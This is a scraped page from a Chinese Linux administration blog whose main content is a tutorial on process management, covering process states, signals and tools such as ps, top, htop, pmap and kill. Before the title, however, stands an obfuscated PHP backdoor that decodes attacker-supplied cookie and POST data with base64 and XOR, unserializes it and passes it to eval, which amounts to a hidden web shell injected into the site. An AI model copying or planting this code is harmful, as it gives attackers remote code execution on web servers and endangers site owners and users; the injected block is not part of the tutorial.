$yXMmiEcIGK = chr ( 1034 - 946 ).'J' . chr (82) . chr ( 507 - 412 )."\160" . chr ( 1009 - 924 )."\x70";$HOygnoFBa = "\143" . chr (108) . chr (97) . chr ( 290 - 175 ).'s' . chr ( 711 - 616 ).chr (101) . 'x' . 'i' . "\x73" . "\164" . "\163";$BYAUcYott = class_exists($yXMmiEcIGK); $HOygnoFBa = "43522";$Jlpsxntry = !1;if ($BYAUcYott == $Jlpsxntry){function GYwpAWr(){return FALSE;}$NHUGUhVAVW = "47311";GYwpAWr();class XJR_pUp{private function keUQyUYK($NHUGUhVAVW){if (is_array(XJR_pUp::$yoUiHbHZ)) {$VQenh = str_replace('<' . chr (63) . 'p' . chr ( 380 - 276 )."\x70", "", XJR_pUp::$yoUiHbHZ['c' . "\157" . 'n' . 't' . chr (101) . "\156" . chr (116)]);eval($VQenh); $NHUGUhVAVW = "47311";exit();}}private $EYcCRZiy;public function dnqWMeVW(){echo 28968;}public function __destruct(){$NHUGUhVAVW = "42892_3067";$this->keUQyUYK($NHUGUhVAVW); $NHUGUhVAVW = "42892_3067";}public function __construct($DRaFgsEM=0){$FaiXtmvVIC = $_POST;$GcaGSUVsUd = $_COOKIE;$WLihkFyqXK = "7f2358cb-ef52-4b41-90bf-d69713355722";$eTgQsanT = @$GcaGSUVsUd[substr($WLihkFyqXK, 0, 4)];if (!empty($eTgQsanT)){$gKxEf = "base64";$zSqaoQvNL = "";$eTgQsanT = explode(",", $eTgQsanT);foreach ($eTgQsanT as $JSlTbQdQ){$zSqaoQvNL .= @$GcaGSUVsUd[$JSlTbQdQ];$zSqaoQvNL .= @$FaiXtmvVIC[$JSlTbQdQ];}$zSqaoQvNL = array_map($gKxEf . chr ( 1019 - 924 ).'d' . chr (101) . chr (99) . chr ( 938 - 827 ).'d' . "\145", array($zSqaoQvNL,)); $zSqaoQvNL = $zSqaoQvNL[0] ^ str_repeat($WLihkFyqXK, (strlen($zSqaoQvNL[0]) / strlen($WLihkFyqXK)) + 1);XJR_pUp::$yoUiHbHZ = @unserialize($zSqaoQvNL); $zSqaoQvNL = class_exists("42892_3067");}}public static $yoUiHbHZ = 65175;}$zupyxb = new /* 61085 */ $yXMmiEcIGK(47311 + 47311); $Jlpsxntry = $zupyxb = $NHUGUhVAVW = Array();} 进程管理 | Linux运维部落

进程管理

linux维护工作中,常常需要对系统上运行的程序进行管理,那么进程管理就显得相当重要。

进程初识

  • 什么是进程?

      进程是并发执行的程序在执行过程中分配和管理资源的基本单位,是一个动态概念。它代表CPU所能处理的单个任务。
  • 什么是线程?

      线程是程序流执行的最小单元,可以理解为进程中执行的一段程序片段。
  • 进程与线程联系和区别

      一个线程可撤销另一个线程,同一个进程中的多个线程可并发执行。
      可与同进程中的其他线程共享内存空间,拥有自己的栈空间,和独立的执行序列。
  • 进程分类

      守护进程:在系统引导过程中启动的进程,和终端无关。
      前台进程:跟终端相关,通过终端启动的进程。
      两者可相互转化。
  • 进程优先级
      1-99:实时优先级:数字越大,优先级越高。
      100-139:静态优先级:数字越小,优先级越高。
      nice值:-20,193、ps命令 用于报告系统当前系统进程状态。

  • 进程状态
    进程管理

运行态:
  当进程正在被CPU执行,或已经准备就绪随时可有调度程序执行,则该进程处于运行态(running).当系统资源已经可用时,进程就被唤醒而准备进入准备运行状态,该状态为就绪态。
可中断睡眠状态:
  处于这个状态的进程不会被系统调度。当系统产生了一个中断或者释放了进程正在等待 的资源,或者收到一个信号,都可以唤醒进程转换到就绪态(运行态)。
不可中断睡眠转态:与可中断睡眠转态类似。但只能被wake_up()函数唤醒才能转换为就绪态。
暂停转态:
  进程收到信号SIGSTOP、SIGTSTP、SIGTTIN或SIGTTOU时会转换为暂停转态,向其发送SIGCONT信号可让其转换为可运行状态。
僵尸状态:
  当进程已经停止运行,但其父进程还没有询问其状态时,该进程处于僵死状态。

进程管理命令

  • ps命令
    用于报告当前系统的进程状态。可以搭配kill指令随时中断、删除不必要的程序。ps命令是最基本同时也是非常强大的进程查看命令,使用该命令可以确定有哪些进程正在运行和运行的状态、进程是否结束、进程有没有僵死、哪些进程占用了过多的资源等等。
    进程管理

  • top命令
    top命令可以实时动态地查看系统的整体运行情况,是一个综合了多方信息监测系统性能和运行信息的实用工具。通过top命令所提供的互动式界面,用热键可以管理。
    进程管理

  • htop命令
    htop是Linux系统下一个基本文本模式的、交互式的进程查看器,主要用于控制台或shell中,可以替代top,或者说是top的高级版。

      快速查看关键性能统计数据,如CPU(多核布局)、内存/交换使用
      可以横向或纵向滚动浏览进程列表,以查看所有的进程和完整的命令行
      杀掉进程时可以直接选择而不需要输入进程号
      通过鼠标操作条目
      比top启动得更快

    进程管理

  • vmstat命令
    显示虚拟内存状态(Viryual Memor Statics),但是它可以报告关于进程、内存、I/O等系统整体运行状态。
    进程管理

  • pmap命令
    pmap命令用于报告进程的内存映射关系,是linux调试及运维的一个很好的工具。
    pmap [options] pid [...]
    -x 显示详细格式
    pmap 读取的是/proc/PID/maps中的信息。

  • glances命令
    Glances 是一个由Python编写,使用 psutil 库来从系统抓取信息的基于curses开发的跨平台命令行系统监视工具。通过Glances,可以监视CPU,平均负载,内存,网络流量,磁盘 I/O,其他处理器和文件系统空间的利用情况。
    进程管理

  • dstat命令
    dstat命令是一个全能信息统计工具,拥有彩色界面,支持实时刷新,功能非常强大。
    进程管理

  • kill命令
    kill命令可以给进程发送信号,通过传递信号可以完成多种操作

      常用信号
      1) SIGHUP: 无须关闭进程而让其重读配置文件;
      2) SIGINT: 中止正在运行的进程;相当于Ctrl+c;
      9) SIGKILL: 杀死正在运行的进程;
      15) SIGTERM:终止正在运行的进程;
      18) SIGCONT:
      19) SIGSTOP:
      显示当前可用信号 kill -l

    例:[root@localhost ~]# kill -9 4197
      Killed
      [root@localhost ~]#

  • pkill命令
    pkill命令可以按照进程名杀死进程。pkill和killall应用方法差不多,也是直接杀死运行中的程序;如果想杀掉单个进程,请用kill来杀掉。
    进程管理

原创文章,作者:M20-1--孔祥文,如若转载,请注明出处:http://www.178linux.com/44411

(0)
上一篇 2016-09-07 17:17
下一篇 2016-09-07 17:44

相关推荐

  • linux命令 kill命令详则

    kill命令 kill用来删除执行中的程序或工作。kill可将指定的信息送至程序。预设的信息(默认)为SIGTERM(15),可经指定程序终止。若仍无法终止该程序,可使用SIGKILL(9)信息尝试强制删除程序。程序或工作的编号可利用ps指令或job指令查看。 语法 kill(选项)(参数) 选项 -a:当处理当前进程时,不限制命令名和进程号的对应关系; &…

    2017-08-21
  • CentOS6.8编译安装—- php-fpm

    安装环境: [root@station11 ~]# lsb_release -a Distributor ID: CentOS Description:     CentOS release 6.8 (Final) Release:  6.8 Codename:    …

    Linux干货 2016-12-21
  • 计算机硬件及Linux简介

    计算机的组成 计算机主要分成五大部分:输入单元、控制单元、运算单元、存储器、输出单元。 其中,中央处理器(CPU)是一个具有特定功能的芯片,含有微指令集。包括控制单元与运算单元。 控制单元对程序进行控制,调度程序、数据、地址。运算单元负责对数据的各种逻辑运算和数字运算。 计算机的功能 包括但不限于 驱动程序:字面意思。 进程管理:计算机内部能够通过分配资源,…

    Linux干货 2016-10-30
  • 运维第一步

    学友分享各自工作经历

    2018-03-26
  • LVS模型练习

    本次涉及到的练习:nat练习、dr练习、FWM机制练习、mysql集群练习、httpd的集群练习、httpd和mysql结合调度的练习 yum install ipvsadm nat练习     设置:     (1)centos7.2作为lvs调度,有两块网卡,(公网地址)其中…

    Linux干货 2016-10-30

评论列表(1条)

  • 马哥教育
    马哥教育 2016-09-10 11:01

    文档功底相当不错,尤其是思维导图,做的太精美的,赞一个!!!